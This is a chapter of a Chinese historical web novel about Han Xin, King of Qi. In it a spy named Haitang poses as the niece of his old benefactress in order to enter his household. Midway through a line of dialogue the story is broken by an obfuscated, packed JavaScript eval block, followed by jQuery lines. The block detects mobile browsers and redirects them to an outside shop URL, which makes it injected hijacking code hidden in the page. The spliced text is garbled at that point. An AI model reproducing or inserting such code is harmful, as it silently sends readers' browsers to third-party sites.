韩信收复齐地之后,命十万大军开荒种粮,与民修养生息,齐地逐渐恢复了生机,百姓安居乐业。
韩信的毕生所愿便是裂土封王,天下太平,如今愿望已实现了一半。这些时日,他常被一个梦境困扰。
夜深人静时,梦中总有一女子向他款款走来。他抚上她盈盈一握的腰肢,缠绵入榻,那梦境真实得如同重温与吕雉在山洞中的那一夜。他希望这个梦能长一些,可每次在情到深处时,他便骤然惊醒,只余满腔失落与燥热。
这日,他又做了同样的梦,醒来时,夜色依旧深沉。他想压下对吕雉的渴望,这具身躯却随着与她在山洞中那旖旎的一夜逐渐苏醒。尤其最近无甚战事,每每在夜深人静的夜晚,身体对她的渴望便会到达巅峰。
今夜又是如此。他穿上外衫,走至浴房,一桶又一桶的冷水自头顶倾泄而下,身上的燥热逐渐褪去,却怎么也浇不熄心中的那团□□。
翌日,他对蒯通说道:“你去寻几个美女来。”
蒯通先是一怔,随后了然,大王这是想女人了。
他轻声应道:“喏。”
蒯通正欲退下,却听韩信道:“勿要惊扰百姓。”
蒯通领命,不久便从城中乐坊择了几位姿容出众的女子送至王府。
韩信端坐堂上,垂眸望着阶前盈盈下拜的几人:“都起身罢,抬头。”
几人应声站起,盈盈举目,眼中满含盈盈秋水,目光流转间自带一股娇柔忧怜之态。
韩信静静打量片刻,开口问道:“你们可知,今日为何而来?”
几人轻轻点头。
“上前来。”韩信挥手示意。
女子们依言上前,围坐在他身侧,便伸手欲为他宽衣。浓腻的脂粉气扑面袭来,韩信倏地偏头打了个喷嚏,随即以袖掩鼻,蹙眉道:“这是什么气味?”
几位女子面面相觑,未及回应,他已挥手:“退下吧。”
一红衣女子愤然道:“大王若不喜我等青楼女子,又何必召来折辱?”言罢甩袖引众离去。
韩信看着她们离去的背影,心中怅然。原来,他心中的欲念只对她而起,原来闻惯了她身上的气息,便再难忍受其他香脂俗粉。吕雉身上的香气就如同她本人一般,清冽凛然,灼灼其华,她是那般耀眼,以至于他的眼中再也容不下其他女子。
之后,每至欲念所起,他便于院中练剑,剑气凛然,月华如水,他又想起他与吕雉比剑那日,也是如今日这般,月光柔和地倾泄在剑刃之上,连带着利刃上的杀伐之气,都化作了和她之间的绕指柔。
恍惚中,他好似看见一女子在月桂树下,月色的芳华浸满她的周身,衬得她如玉般的容颜更加惊心夺魄,她朱唇微启,盈盈浅笑着对他说:“将军好生威武。”
……
海棠自虞姬离去之后,便受吕雉之命,成为暗伏于韩信身边的耳目。
那日,她初至齐地,在一处驿馆落脚,独自坐在角落用饭,心中盘算着如何能潜入守卫森严的齐王府。忽闻邻桌两名青年正在低声交谈,所说内容让她不由侧耳。
一黑衣男子道:“你可知那齐王,虽被称作‘兵仙’,坐拥齐地,偌大家业却无人承继,实在可惜。”
坐在他对面的青衣男子问道:“此话怎讲?”
黑衣男子压低声音:“听闻齐王不近女色,怕是……身有隐疾?”
青衣男子反驳他道:“休得胡言!这等私密之事,你是从何得知?”
黑衣青年却道:“岂是胡言?前些日子,蒯通大人往王府送过好几批女子,个个貌美,却都被齐王遣了出来。一来二去,就有人传出他不能人伦的话来。”
海棠听得耳根发热,垂下眼帘,不愿再听这般粗鄙猜测。
那二人却又说起韩信另一段旧事。
青衣男子道:“不过齐王确是个重旧情之人。听说他封王之后返乡,特意寻到当年曾羞辱他的那个恶少年,非但未加惩处,反封他做了中尉,掌管下邳治安。”
黑衣男子讶然:“竟有这等事?”
“此事淮阴几乎人人皆知。我有一位亲戚从淮阴来,还说齐王正在寻当年给他饭吃的漂母,那位大娘姓陈,似乎早已离开淮阴,至今还未找到。”
“如此说来,我们这位大王倒真是重义之人。”
海棠听到此处,心中微动,若能找到这位陈的大娘,或许正是潜进王府的契机。
她当即起身回房,收拾行囊离开驿馆,朝淮阴方向策马而去。
一连三日,海棠打扮成寻常寻亲女子的模样,在淮阴的市集、客栈、驿馆之间穿梭打听。她专挑年长的人询问,声称自己是陈大娘远房侄女,家中遭灾特来投奔。
直到第四日黄昏,她在西市一处浆洗衣物的摊子前,听到一位老妪嘀咕:“姓陈的婆子……莫不是陈媪?她之前辗转在各地替人漂洗丝帛和衣物,这几日正好又回到淮阴了,姑娘来得正是时候,她家就住在城西,你去哪里找她吧。”
海棠循着线索找去。在城西最深处的一间简陋院落前停下。她推门进去,一个头发花白、面容慈祥却难掩疲惫的老妇人,正就着昏暗的天光缝补一件旧衫。屋里陈设简陋,但收拾得干净整齐。
“可是陈媪?”海棠在门外轻声问道。
老妇人抬起头,眼神有些警惕:“你是?”
海棠按预先想好的说辞,含泪道:“我娘姓陈,说是您的堂妹。她临终前让我来寻您……”她观察着陈大娘的神情,见对方先是茫然,随后露出些许怜惜,她未有一儿半女,如今见这般妙龄女子寻来,即便是假的,她也欣然接受。
接下来的几天,海棠以侄女的身份殷勤照料陈大娘,帮她浆洗、缝补、做饭。
一日闲话,海棠故作无意道:“听闻当今齐王便是当年淮阴的韩信,他成了齐王之后,一直在找当年帮过他的人。您当年也在淮阴,可曾见过他?”
陈大娘的手微微一颤。沉默良久,她叹了口气:“都是过去的事了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141816|189389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我当年……确实给过一个饿肚子的年轻人饭吃。他自称韩信,说日后定会报答,我只当是客气话。”
海棠心中暗喜,面上却露出惊讶与崇敬:“原来您就是齐王的恩人!姑母,您为何不去相认?齐王如今富贵,定能好好奉养您。”
陈大娘摇摇头,神色平静:“我帮他,不是图报答。如今他成了王,我更不该去攀附。”
海棠不再多言,她一面更加细心地照料陈大娘,赢得其信任与依赖;一面飞鸽传信给齐地的飞羽阁,让她们将找到陈大娘的消息传递给齐王府。
一日,韩信的车驾缓缓驶入淮阴县。玄色华盖下,韩信身着绣金黑袍,腰佩长剑,身姿挺拔英武。街道两侧跪满了百姓,他们偷偷抬眼,想看看这位从家乡走出去、如今权倾天下的齐王。
韩信的目光却穿过人群,落在远处的淮河上。河边的石阶依然如故,他又忆起了当年那个给他饭吃的漂母。
车驾在陈大娘的院落前停下,院门吱呀一声打开。
海棠搀扶着陈大娘从里屋走出,当她的目光落在韩信脸上时,浑浊的眼睛突然亮了一下。
“你是...河边钓鱼的那个孩子?”
韩信翻身下马,撩起衣袍,竟在众目睽睽之下单膝跪地:“大娘,韩信来迟了。”
陈大娘愣住了,连忙上前扶他:“使不得,使不得,你如今已是齐王了。”
“在大娘面前,韩信永远是那个饿肚子的年轻人。”韩信起身,示意侍从抬上十个沉甸甸的木箱。箱盖一一打开,里面金光灿灿,是整整一千金。
围观的百姓发出阵阵惊呼。一千金,足以买下淮阴半条街的商铺。
陈大娘却后退一步,摇了摇头:“当年我就说过,我不是为了图你报答。看到你有今日,我便心安了。”
韩信执意将金子留下:“大娘,这些金子不只是为报答那一饭之恩。韩信是想让天下人都知道,善良不应被辜负,承诺不应被遗忘。您教给我的,不只是饱腹之食,更是做人的道理。”
陈大娘看着眼前这个威震天下的青年,又仿佛看到当年河边那个倔强饥饿的年轻人。她终于点了点头,收下了这份厚礼。
随后,她看向身侧的海棠,对韩信道:“老身有一不情之请。我这侄女勤快懂事,留在我身边只怕耽误了她。大王若不嫌弃,能否收她在府中做个侍女?”
当海棠似是无意间对她说出想留在齐王身边做侍女时,陈大娘便已然明白海棠不是她的侄女,她原本就是冲着齐王来的。只是这些时日看着海棠尽心竭力地照顾她一个无亲无故的老婆子,她便知这姑娘没有存坏心眼,于是便将她举荐给韩信。
入齐王府那日,海棠垂眸敛目,随着引路侍从穿过重重门廊。她悄悄观察府中布局、巡卫班次、往来属官,一一默记。
此后每隔十日,海棠便会借采买之机,在临淄城的飞羽阁将密信交给接头人。信中细录王府日常,乃至韩信不能人道之事,也一并送至吕雉手中。